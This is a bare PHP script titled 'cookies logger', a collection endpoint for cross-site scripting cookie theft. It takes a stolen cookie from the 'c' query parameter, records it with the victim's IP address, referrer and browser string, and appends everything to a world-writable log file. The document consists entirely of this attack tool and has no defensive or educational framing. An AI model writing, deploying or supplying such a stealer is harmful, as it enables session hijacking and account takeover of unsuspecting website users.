cookies logger

<?php

$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['c'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$redirect = $_GET['redirect'];

$data = "IP: " . $ip . "\n"
."Cookie: " . $cookie . "\n"
."Referrer: " . $referer . "\n"
."Browser: " . $browser . "\n\n";
$log = "ok.txt";
@chmod($log, 0777);
$f = fopen($log, 'a');
fwrite($f, $data);
fclose($f);

?>